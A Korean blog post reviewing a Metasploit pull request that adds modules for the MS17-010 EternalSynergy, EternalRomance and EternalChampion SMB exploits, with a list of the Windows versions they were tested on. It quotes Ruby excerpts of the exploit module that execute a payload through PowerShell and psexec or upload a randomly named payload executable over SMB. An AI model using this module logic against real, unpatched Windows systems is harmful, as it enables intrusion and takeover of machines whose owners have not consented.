지난 주말 Rapid7 github를 둘러보다가 재미있는 Metasploit 내 재미있는 pull request를 보았었습니다.

(https://github.com/rapid7/metasploit-framework/pull/9473)

Shadow Brokers 가 공개한 Eternal 시리즈에 대한 취약점을 Metasploit Module화하여 여러 윈도우 대상으로 테스팅한 결과입니다. 어떤 내용인지 살펴보도록 하죠.

https://twitter.com/zerosum0x0/status/957839430777057280

EternalSynergy / EternalRomance / EternalChampion

우선 Shadow Brokers 사건때 같이 이야기나온 취약점들입니다. SMB Protocol에 관한 문제이며 여러 악성코드, 사건에서도 많이 사용됬었습니다. (대표적으로 워너크라이 랜섬)

현재도 미패치 PC를 심심찮게 찾아볼 수 있을거고 공격이 성공할 가능성도 높은 취약점입니다. (얼마나 패치를 잘 안하면..)

예전에 제가 간단하게 작성한 글과 다른 링크들 추가하니 궁금하시면 참고해주세요.

EternalBlue
http://www.hahwul.com/2017/05/hacking-eternalblue-vulnerability-and.html

현재까지 Metasploit 모듈에는 EternalBlue 하나만 추가되어 있었습니다.

zerosum0x0(zerosum0x0.blogspot.com)이 Metasploit쪽으로 git pull request를 하나 날렸습니다. 이는 위에서 이야기드린 Eternal 시리즈에 대한 Auxiliary 모듈과 Exploit 모듈입니다.


https://github.com/rapid7/metasploit-framework/search?l=Ruby&q=Eternal&type=&utf8=%E2%9C%93

이 모듈들은 MS17-010(EternalSynergy / EternalRomance / EternalChampion)에 대한 테스트/익스플로잇 모듈입니다. EternalBlue 이후 처음으로 추가된 모듈이죠.

pull request를 보면서 몇가지 재미있는점이 있었습니다.

재미있는점1 - Exploiting 과정 변화

기존에 EternalBlue Module은 Shellcode를 사용하였지만 이번 Exploit module들은 SMB Connection session을 overwrite 하는 방식으로 바로 admin 권한을 가져갈 수 있습니다.

그 대신.. 몇가지 리스크가 따르는데요, Powershell 사용하고 FIle이 생성될 수 있기 때문에 EternalBlue Module에 비해선 백신 등 보안장비에 탐지될 확률이 높다는 점입니다.

  def smb_pwn()
    case target.name
    when 'Automatic'
      if powershell_installed?   # 파워쉘 설치여부 확인
        print_status('Selecting PowerShell target')
        powershell  #설치되었다면 파워쉘
      else
        print_status('Selecting native target')
        native_upload   #미 설치 시 파일 생성
      end
    when 'PowerShell'
      powershell
    when 'Native upload'
      native_upload
    when 'MOF upload'
      mof_upload
    end

    handler
  end


  def powershell
    ENV['MSF_SERVICENAME'] = datastore['SERVICE_NAME']
    command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)

    if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
      print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option")
    end

    # Execute the powershell command
    print_status("Executing the payload...")
    begin
      psexec(command)
    rescue StandardError => exec_command_error
      fail_with(Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
    end
  end

  def native_upload
    filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
    servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8)
    serviceencoder = datastore['SERVICE_STUB_ENCODER'] || ''

    # Upload the shellcode to a file
    print_status("Uploading payload...")
    smbshare = datastore['SHARE']
    fileprefix = ""
    # if SHARE = Users/sasha/ or something like this
    if smbshare =~ /.[\\\/]/
      subfolder = true
      smbshare = datastore['SHARE'].dup

재미있는점2 - SMB Library 변경

commit 내용에 보면 이런 부분이 있습니다.

Changes to MSF Lib
The exploit needs a smaller SMB Max Buffer Size than the hard-coded values in the Rex SMB proto client libraries. I exposed this as a public member that defaults to the old value. Existing code should not be broken.

Most of the exploit code is in a new mix-in (to be shared for the aux and exploit).

Metasploit에서 제공하는 SMB 모듈의 최소 버퍼 사이즈보다 더 작은 값이 필요해서.. 변경했다고하네요.


https://github.com/RiskSense-Ops/metasploit-framework/blob/ffc7e078e26b5c46f05b19c3e39067658ef977f6/lib/rex/proto/smb/client.rb

굉장히 간단합니다. 기존에는 0xffdf (SMB크기) 값이 코드에 하드코딩되어 들어갔지만 이를 Option 변수로 빼주고 유동적으로 바꿀 수 있게 코드를 수정했습니다.

기존
pkt['Payload'].v['MaxBuff'] = 0xffdf

변경
self.default_max_buffer_size = 0xffdf
pkt['Payload'].v['MaxBuff'] = self.default_max_buffer_size

덕분에 SMB 관련해서 혹시라도 버퍼 조정이 필요하면 직접 손안대고 바꿀 수 있겠네요.
Author의 많은 고민이 느껴집니다..
(혹시라도 SMB 최소값을 더 내려서 하드코딩 했다면 다른 모듈들에서 문제가 생겼을 수도 있겠네요)


재미있는점3 - 힘을 합쳐 테스팅하다

테스팅 대상이였던 Windows 2000 ~ Windows server 2016 사이에는 굉장히 많은 OS Version들이 존재합니다. 

  •  Windows 2000 SP0 x86
  •  Windows 2000 Professional SP4 x86
  •  Windows 2000 Advanced Server SP4 x86
  •  Windows XP SP0 x86
  •  Windows XP SP1 x86
  •  Windows XP SP2 x86
  •  Windows XP SP3 x86
  •  Windows XP SP2 x64
  •  Windows Server 2003 SP0 x86
  •  Windows Server 2003 SP1 x86
  •  Windows Server 2003 Enterprise SP 2 x86
  •  Windows Server 2003 SP1 x64
  •  Windows Server 2003 R2 SP1 x86
  •  Windows Server 2003 R2 SP2 x86
  •  Windows Vista Home Premium x86
  •  Windows Vista x64
  •  Windows Server 2008 SP1 x86
  •  Windows Server 2008 x64
  •  Windows 7 x86
  •  Windows 7 Ultimate SP1 x86
  •  Windows 7 Enterprise SP1 x86
  •  Windows 7 SP0 x64
  •  Windows 7 SP1 x64
  •  Windows Server 2008 R2 x64
  •  Windows Server 2008 R2 SP1 x64
  •  Windows 8 x86
  •  Windows 8 x64
  •  Windows Server 2012 x64
  •  Windows 8.1 Enterprise Evaluation 9600 x86
  •  Windows 8.1 SP1 x86
  •  Windows 8.1 x64
  •  Windows 8.1 SP1 x64
  •  Windows Server 2012 R2 x86
  •  Windows Server 2012 R2 Standard 9600 x64
  •  Windows Server 2012 R2 SP1 x64
  •  Windows 10 Enterprise 10.10240 x86
  •  Windows 10 Enterprise 10.10240 x64
  •  Windows 10 10.10586 x86
  •  Windows 10 10.10586 x64
  •  Windows Server 2016 10.10586 x64
  •  Windows 10 10.0.14393 x86
  •  Windows 10 Enterprise Evaluation 10.14393 x64
  •  Windows Server 2016 Data Center 10.14393 x64
혼자서 모든 버전의 가상 환경을 만들고 테스트하기는 버겁습니다. 
그래서... 여건이 되는분들끼리 테스트하고 결과를 공유하더군요. 인상깊었습니다.


Exploiting & Conclusion

이미 공식 패치가 내려가서 따로 코드를 안받아도 적용이 되어있습니다.
그래서 바로 테스트해볼가 했지만.. 오늘은 좀 쉬고, 이번주중으로 작성해서 추가하도록 하겠습니다. (저도 잠은 자야죠....)

pull request 하나 보면서 여러가지 생각이 들었습니다. 코드 내용, 사람들끼리 소통보면서 참 재미있었네요. 


Reference

댓글 없음:

댓글 쓰기